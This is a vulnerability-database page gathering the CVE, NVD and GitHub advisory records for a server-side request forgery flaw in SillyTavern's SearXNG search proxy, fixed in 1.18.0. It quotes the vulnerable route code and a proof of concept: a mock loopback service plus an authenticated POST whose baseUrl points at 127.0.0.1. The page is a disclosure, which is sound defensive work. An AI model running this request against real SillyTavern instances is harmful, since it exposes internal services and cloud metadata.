Vulnerability-Lookup

CVE-2026-46372 (GCVE-0-2026-46372)

Vulnerability from cvelistv5 – Published: 2026-05-29 17:41 – Updated: 2026-05-29 19:44

Title

SillyTavern: SSRF in SearXNG Search Proxy via Unvalidated baseUrl

Summary

SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, SillyTavern exposes /api/search/searxng, which accepts attacker-controlled baseUrl and uses it directly to build outbound server-side fetches. An authenticated low-privilege user can point baseUrl at an internal or loopback HTTP service and receive the /search response body. This vulnerability is fixed in 1.18.0.

Severity

8.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-29 19:43 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7905 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/SillyTavern/SillyTavern/securi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
SillyTavern	SillyTavern	Affected: < 1.18.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-46372

Vulnerability from fkie_nvd - Published: 2026-05-29 19:16 - Updated: 2026-07-22 06:10

Severity

8.5 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-qg89-qwwh-5f3j
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-qg89-qwwh-5f3j

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "SillyTavern",
          "vendor": "SillyTavern",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.18.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, SillyTavern exposes /api/search/searxng, which accepts attacker-controlled baseUrl and uses it directly to build outbound server-side fetches. An authenticated low-privilege user can point baseUrl at an internal or loopback HTTP service and receive the /search response body. This vulnerability is fixed in 1.18.0."
    },
    {
      "lang": "es",
      "value": "SillyTavern es una interfaz de usuario instalada localmente que permite a los usuarios interactuar con modelos de lenguaje grandes de generaci\u00f3n de texto, motores de generaci\u00f3n de im\u00e1genes y modelos de voz de texto a voz. Antes de la 1.18.0, SillyTavern expone /api/search/searxng, que acepta un baseUrl controlado por el atacante y lo usa directamente para construir recuperaciones salientes del lado del servidor. Un usuario autenticado de bajo privilegio puede apuntar baseUrl a un servicio HTTP interno o de bucle invertido y recibir el cuerpo de la respuesta de /search. Esta vulnerabilidad est\u00e1 corregida en la 1.18.0."
    }
  ],
  "id": "CVE-2026-46372",
  "lastModified": "2026-07-22T06:10:00.170",
  "metrics": {
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          "attackComplexity": "LOW",
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          "baseScore": 8.5,
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          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
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}

GHSA-QG89-QWWH-5F3J

Vulnerability from github – Published: 2026-05-19 20:09 – Updated: 2026-06-09 10:32

Summary

SillyTavern: SSRF in SearXNG Search Proxy via Unvalidated baseUrl

Details

Resolution

SillyTavern 1.18.0 added a generic server-side request filter (Private Request Whitelisting). Since we expect users to use the application in a trusted environment, the filter is disabled by default, however it is strongly advised to be enabled and properly configured when an instance is being hosted over a network, as suggested by a console warning message and an officially published security checklist for administrators.

Documentation:

https://docs.sillytavern.app/administration/config-yaml/#private-address-whitelisting
https://docs.sillytavern.app/administration/#security-checklist

Note on future SSRF findings

Since the request filter applies to the entire application, no SSRF vulnerabilities against individual endpoints will be accepted, unless it has been proven that a properly configured and enabled filter can be bypassed in an undocumented way. Only advisories disclosed before the 1.18.0 release will be posted if their concern is SSRF.

Summary

SillyTavern 1.17.0 exposes /api/search/searxng, which accepts attacker-controlled baseUrl and uses it directly to build outbound server-side fetches. An authenticated low-privilege user can point baseUrl at an internal or loopback HTTP service and receive the /search response body.

Confirmed version: SillyTavern 1.17.0 from the audited source tree. Broader affected versions and patched versions should be confirmed by the maintainer.

Details

The /api/search/searxng route in src/endpoints/search.js reads baseUrl from request.body and performs no allowlist, IP range, DNS, or scheme validation before making outbound requests.

Core vulnerable path:

router.post('/searxng', async (request, response) => {
    const { baseUrl, query, preferences, categories } = request.body;
    if (!baseUrl || !query) {
        return response.status(400).send('Missing required parameters');
    }

    const mainPageUrl = new URL(baseUrl);
    const mainPageRequest = await fetch(mainPageUrl, { headers: visitHeaders });
    ...
    const searchUrl = new URL('/search', baseUrl);
    const searchParams = new URLSearchParams();
    searchParams.append('q', query);
    ...
    const searchResult = await fetch(searchUrl, { headers: visitHeaders });
    ...
    const data = await searchResult.text();
    return response.send(data);
});

src/server-startup.js mounts this router at /api/search, and src/server-main.js applies login middleware before the API routes. This means the source is a remote authenticated POST request and the sink is server-side fetch() to attacker-selected hosts.

PoC

Attacker prerequisites: a valid SillyTavern web session, or access to a deployment where user accounts are disabled.

Start an internal mock service on the target host:

import http from 'node:http';

http.createServer((req, res) => {
  if (req.url === '/') {
    res.writeHead(200, { 'Content-Type': 'text/html' });
    return res.end('<html><head><link href="/client.css" rel="stylesheet"></head></html>');
  }
  if (req.url === '/client.css') {
    res.writeHead(200, { 'Content-Type': 'text/css' });
    return res.end('body{}');
  }
  if (req.url.startsWith('/search?q=')) {
    res.writeHead(200, { 'Content-Type': 'text/plain' });
    return res.end('INTERNAL-SEARCH-RESULT');
  }
  res.writeHead(404);
  res.end('not found');
}).listen(9091, '127.0.0.1');

Then send:

POST /api/search/searxng HTTP/1.1
Host: TARGET:8000
Cookie: session-...=...
X-CSRF-Token: <token from /csrf-token>
Content-Type: application/json

{"baseUrl":"http://127.0.0.1:9091/","query":"x"}

Result based on the route logic: SillyTavern first fetches http://127.0.0.1:9091/, then fetches http://127.0.0.1:9091/search?q=x, and returns INTERNAL-SEARCH-RESULT to the attacker.

Impact

This is an authenticated SSRF primitive with arbitrary host and port selection. It can disclose responses from loopback or internal HTTP services reachable from the SillyTavern host and may enable interaction with internal admin panels, development services, cloud metadata endpoints in applicable deployments, or service discovery across private networks.

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46372"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T20:09:52Z",
    "nvd_published_at": "2026-05-29T19:16:25Z",
    "severity": "HIGH"
  },
  "details": "## Resolution\n\nSillyTavern 1.18.0 added a generic server-side request filter (Private Request Whitelisting). Since we expect users to use the application in a trusted environment, the filter is disabled by default, however it is strongly advised to be enabled and properly configured when an instance is being hosted over a network, as suggested by a console warning message and an officially published security checklist for administrators.\n\nDocumentation: \n\n- https://docs.sillytavern.app/administration/config-yaml/#private-address-whitelisting\n- https://docs.sillytavern.app/administration/#security-checklist\n\n## Note on future SSRF findings\n\nSince the request filter applies to the entire application, no SSRF vulnerabilities against individual endpoints will be accepted, unless it has been proven that a properly configured and enabled filter can be bypassed in an undocumented way. Only advisories disclosed before the 1.18.0 release will be posted if their concern is SSRF.\n\n## Summary\nSillyTavern 1.17.0 exposes `/api/search/searxng`, which accepts attacker-controlled `baseUrl` and uses it directly to build outbound server-side fetches. An authenticated low-privilege user can point `baseUrl` at an internal or loopback HTTP service and receive the `/search` response body.\n\nConfirmed version: SillyTavern 1.17.0 from the audited source tree. Broader affected versions and patched versions should be confirmed by the maintainer.\n\n## Details\nThe `/api/search/searxng` route in `src/endpoints/search.js` reads `baseUrl` from `request.body` and performs no allowlist, IP range, DNS, or scheme validation before making outbound requests.\n\nCore vulnerable path:\n\n```js\nrouter.post(\u0027/searxng\u0027, async (request, response) =\u003e {\n    const { baseUrl, query, preferences, categories } = request.body;\n    if (!baseUrl || !query) {\n        return response.status(400).send(\u0027Missing required parameters\u0027);\n    }\n\n    const mainPageUrl = new URL(baseUrl);\n    const mainPageRequest = await fetch(mainPageUrl, { headers: visitHeaders });\n    ...\n    const searchUrl = new URL(\u0027/search\u0027, baseUrl);\n    const searchParams = new URLSearchParams();\n    searchParams.append(\u0027q\u0027, query);\n    ...\n    const searchResult = await fetch(searchUrl, { headers: visitHeaders });\n    ...\n    const data = await searchResult.text();\n    return response.send(data);\n});\n```\n\n`src/server-startup.js` mounts this router at `/api/search`, and `src/server-main.js` applies login middleware before the API routes. This means the source is a remote authenticated POST request and the sink is server-side `fetch()` to attacker-selected hosts.\n\n## PoC\nAttacker prerequisites: a valid SillyTavern web session, or access to a deployment where user accounts are disabled.\n\nStart an internal mock service on the target host:\n\n```js\nimport http from \u0027node:http\u0027;\n\nhttp.createServer((req, res) =\u003e {\n  if (req.url === \u0027/\u0027) {\n    res.writeHead(200, { \u0027Content-Type\u0027: \u0027text/html\u0027 });\n    return res.end(\u0027\u003chtml\u003e\u003chead\u003e\u003clink href=\"/client.css\" rel=\"stylesheet\"\u003e\u003c/head\u003e\u003c/html\u003e\u0027);\n  }\n  if (req.url === \u0027/client.css\u0027) {\n    res.writeHead(200, { \u0027Content-Type\u0027: \u0027text/css\u0027 });\n    return res.end(\u0027body{}\u0027);\n  }\n  if (req.url.startsWith(\u0027/search?q=\u0027)) {\n    res.writeHead(200, { \u0027Content-Type\u0027: \u0027text/plain\u0027 });\n    return res.end(\u0027INTERNAL-SEARCH-RESULT\u0027);\n  }\n  res.writeHead(404);\n  res.end(\u0027not found\u0027);\n}).listen(9091, \u0027127.0.0.1\u0027);\n```\n\nThen send:\n\n```http\nPOST /api/search/searxng HTTP/1.1\nHost: TARGET:8000\nCookie: session-...=...\nX-CSRF-Token: \u003ctoken from /csrf-token\u003e\nContent-Type: application/json\n\n{\"baseUrl\":\"http://127.0.0.1:9091/\",\"query\":\"x\"}\n```\n\nResult based on the route logic: SillyTavern first fetches `http://127.0.0.1:9091/`, then fetches `http://127.0.0.1:9091/search?q=x`, and returns `INTERNAL-SEARCH-RESULT` to the attacker.\n\n## Impact\nThis is an authenticated SSRF primitive with arbitrary host and port selection. It can disclose responses from loopback or internal HTTP services reachable from the SillyTavern host and may enable interaction with internal admin panels, development services, cloud metadata endpoints in applicable deployments, or service discovery across private networks.",
  "id": "GHSA-qg89-qwwh-5f3j",
  "modified": "2026-06-09T10:32:23Z",
  "published": "2026-05-19T20:09:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-qg89-qwwh-5f3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46372"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern: SSRF in SearXNG Search Proxy via Unvalidated baseUrl"
}

Sightings

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-46372 (GCVE-0-2026-46372)

FKIE_CVE-2026-46372

GHSA-QG89-QWWH-5F3J

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